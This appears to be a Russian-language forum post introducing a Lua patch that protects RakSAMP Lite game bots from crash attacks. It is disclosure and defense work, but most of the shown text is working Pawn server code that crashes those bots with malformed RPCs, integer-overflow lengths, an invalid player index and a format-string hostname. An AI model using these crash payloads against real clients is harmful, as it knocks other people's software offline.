Исходник [RakSamp Lite] uCrashProtector

Ulong

Диванный критик
Автор темы
Проверенный
84
461
Небольшой луа патч, который осуществляет примитивную валидацию входящих данных чтобы вашего бОтЕкА не смог крашнуть зЛоЙ аДмИн из-за болячек раксампа (buffer overflow, integer overflow, format string attack). Проверяет:
  • INITGAME (RPCID 139)​
  • INITMENU (RPCID 76)​
  • DISPLAYGAMETEXT (RPCID 73)​
  • SHOWTEXTDRAW / TEXTDRAWSETSTRING (RPCID 134 / 105)​
  • CONNECTION_REQUEST_ACCEPTED (packetID 34)​
Единственная зависимость скрипта: обновите SAMP.lua на более вайбовый

Смотрите исходники раксампа если вам интересно знать почему это все происходит

C++:
new BitStream:bs = BS_New();
BS_WriteUint32(bs, 0);             //        UINT32 dStyle
BS_WriteUint32(bs, 500);         //        UINT32 dTime
BS_WriteInt32(bs, -1337);         //        UINT32 dMessageLength, тип данных наглядно изменен на int32
BS_WriteString(bs, "Wasted");    //         char[] Message
PR_SendRPC(bs, playerid, 73);
BS_Delete(bs);
C++:
new BitStream:bs = BS_New();
BS_WriteUint8(bs, 5);                                        // menuID
BS_WriteUint32(bs, 0);                                        // twoColumns 0-1
    
for(new i = 0; i < 32; i++) {
    BS_WriteUint8(bs, (i == 31) ? 0 : (random(254) + 1));    // menuTitle
}
    
BS_WriteFloat(bs, 10.0);                                    // posX
BS_WriteFloat(bs, 130.0);                                    // posY
BS_WriteFloat(bs, 100.0);                                    // colWidth1
BS_WriteUint32(bs, 1);                                        // menuEnabled
    
for(new i = 0; i < 12; i++) {
    BS_WriteUint32(bs, 1);                                    // Rows
}
    
for(new i = 0; i < 32; i++) {
    BS_WriteUint8(bs, (i == 31) ? 0 : (random(254) + 1));    // Col1Header
}
    
/*
    тут уже можете проявить свою фантазию
    это просто разобранная структура
*/
new col1_count = 12;
BS_WriteUint8(bs, col1_count);                                 // Col1Count
for(new i = 0; i < col1_count; i++) {                        // Col1Items
    new itemText[32];                       
    format(itemText, sizeof(itemText), "Item %d", i);
    BS_WriteString(bs, itemText);
    new col1_item_len = strlen(itemText);
    for(new t = col1_item_len; t < 32; t++) {
        BS_WriteUint8(bs, 0);
    }
}
    
/*
//в целом и так можно повесить окно без разбора структуры, накидав в рот хуйни
for(new i = 0; i < 40; i++) {
    BS_WriteUint8(bs, random(254) + 1);
}
*/
    
PR_SendRPC(bs, playerid, 76);
BS_Delete(bs);
C++:
/* TextDrawSetString crash example /// work on clear raksamp */
new BitStream:bs = BS_New();
BS_WriteValue(
    bs,
    PR_UINT16, 228,            // UINT16 wTextDrawID
    PR_UINT16, -1,            // UINT16 TextLength
    PR_STRING, "Wasted"        // char[] Text
);
PR_SendRPC(bs, playerid, 105);
BS_Delete(bs);


/* ShowTextDraw crash example */
new BitStream:bs = BS_New();
BS_WriteValue(
    bs,
    PR_UINT16,    228,                //        UINT16 wTextDrawID
    PR_UINT8,    0,                    //         UINT8 Flags
    PR_FLOAT,    0.0,                //         float fLetterWidth
    PR_FLOAT,    0.0,                //         float fLetterHeight
    PR_UINT32,    0xFFFFFFFF,            //         UINT32 dLetterColor
    PR_FLOAT,    0.0,                //        float fLineWidth
    PR_FLOAT,    0.0,                //        float fLineHeight
    PR_UINT32,    0xFFFFFFFF,            //        UINT32 dBoxColor
    PR_UINT8,    0,                    //        UINT8 Shadow
    PR_UINT8,    0,                    //        UINT8 Outline
    PR_UINT32,    0xFFFFFFFF,            //        UINT32 dBackgroundColor
    PR_UINT8,    0,                    //        UINT8 Style
    PR_UINT8,    0,                    //        UINT8 Selectable
    PR_FLOAT,    0.0,                //        float fX
    PR_FLOAT,    0.0,                //        float fY
    PR_UINT16,    0,                    //        UINT16 wModelID
    PR_FLOAT,    0.0,                //        float fRotX
    PR_FLOAT,    0.0,                //        float fRotY
    PR_FLOAT,    0.0,                //        float fRotZ
    PR_FLOAT,    0.0,                //        float fZoom
    PR_INT16,    0,                    //        INT16 wColor1
    PR_INT16,    0,                    //        INT16 wColor2
    PR_UINT16,    2048,                //        UINT16 szTextLen
    PR_STRING,    "Wasted"            //        char[] szText
);
PR_SendRPC(bs, playerid, 134);
BS_Delete(bs);
C++:
const RPC_INITGAME = 139;
ORPC:RPC_INITGAME(playerid, BitStream:bs) {
    new bool:zoneNames, bool:useCJWalk, bool:allowWeapons;
    new bool:limitGlobalChatRadius, bool:stuntBonus, bool:disableEnterExits;
    new bool:nameTagLOS, bool:tirePopping, bool:showPlayerTags, bool:lanMode, bool:instagib;
    
    new Float:globalChatRadius, Float:nametagDrawDist, Float:gravity;
    new classesAvailable, PlayerID, playerMarkersMode;
    new worldTime, worldWeather, deathMoneyDrop;
    new normalOnfootSendrate, normalIncarSendrate, normalFiringSendrate, sendMultiplier, lagCompMode;
    new hostname_length;
    new hostname[256];
    new vehicleModels[212], vehicleFriendlyFire;

    BS_ReadValue(bs,
        PR_BOOL, zoneNames,
        PR_BOOL, useCJWalk,
        PR_BOOL, allowWeapons,
        PR_BOOL, limitGlobalChatRadius,
        PR_FLOAT, globalChatRadius,
        PR_BOOL, stuntBonus,
        PR_FLOAT, nametagDrawDist,
        PR_BOOL, disableEnterExits,
        PR_BOOL, nameTagLOS,
        PR_BOOL, tirePopping,
        PR_UINT32, classesAvailable,
        PR_UINT16, PlayerID,
        PR_BOOL, showPlayerTags,
        PR_UINT32, playerMarkersMode,
        PR_UINT8, worldTime,
        PR_UINT8, worldWeather,
        PR_FLOAT, gravity,
        PR_BOOL, lanMode,
        PR_UINT32, deathMoneyDrop,
        PR_BOOL, instagib,
        PR_UINT32, normalOnfootSendrate,
        PR_UINT32, normalIncarSendrate,
        PR_UINT32, normalFiringSendrate,
        PR_UINT32, sendMultiplier,
        PR_UINT32, lagCompMode
    );
    
    BS_ReadUint8(bs, hostname_length);
    BS_ReadString(bs, hostname, hostname_length);
    
    for(new i = 0; i < 212; i++) {
        BS_ReadUint8(bs, vehicleModels[i]);
    }
    BS_ReadUint32(bs, vehicleFriendlyFire);
    
    BS_Reset(bs);
    
    BS_WriteValue(bs,
        PR_BOOL, zoneNames,
        PR_BOOL, useCJWalk,
        PR_BOOL, allowWeapons,
        PR_BOOL, limitGlobalChatRadius,
        PR_FLOAT, globalChatRadius,
        PR_BOOL, stuntBonus,
        PR_FLOAT, nametagDrawDist,
        PR_BOOL, disableEnterExits,
        PR_BOOL, nameTagLOS,
        PR_BOOL, tirePopping,
        PR_UINT32, classesAvailable,
        PR_UINT16, -1,                    // крашим через невалид PlayerID
        PR_BOOL, showPlayerTags,
        PR_UINT32, playerMarkersMode,
        PR_UINT8, worldTime,
        PR_UINT8, worldWeather,
        PR_FLOAT, gravity,
        PR_BOOL, lanMode,
        PR_UINT32, deathMoneyDrop,
        PR_BOOL, instagib,
        PR_UINT32, normalOnfootSendrate,
        PR_UINT32, normalIncarSendrate,
        PR_UINT32, normalFiringSendrate,
        PR_UINT32, sendMultiplier,
        PR_UINT32, lagCompMode
    );
    
    BS_WriteUint8(bs, 1);
    BS_WriteString(bs, "%");            // или крашим через уязвимость форматной строки
    
    /*BS_WriteUint8(bs, 255);            // ну или так для примера
    for(new i = 0; i < 255; i++) {
        BS_WriteUint8(bs, 40);
    }*/
    
    for(new i = 0; i < 212; i++) {
        BS_WriteUint8(bs, vehicleModels[i]);
    }
    BS_WriteUint32(bs, vehicleFriendlyFire);
    return 1;
}
C++:
const CONN_REQUEST_ACCEPTED = 34;
const INVALID_INDEX = 65535;

OInternalPacket:CONN_REQUEST_ACCEPTED(playerid, BitStream:bs) {
    new binary_address, port, player_index, server_challenge;
    BS_IgnoreBits(bs, 8);
    BS_ReadValue(bs, PR_UINT32, binary_address, PR_UINT16, port, PR_UINT16, player_index, PR_UINT32, server_challenge);
    BS_SetWriteOffset(bs, 8);
    BS_WriteValue(bs, PR_UINT32, binary_address, PR_UINT16, port, PR_UINT16, INVALID_INDEX, PR_UINT32, server_challenge);
    return 1;
}
 

Вложения

  • uCrashProtector.lua
    7.1 KB · Просмотры: 8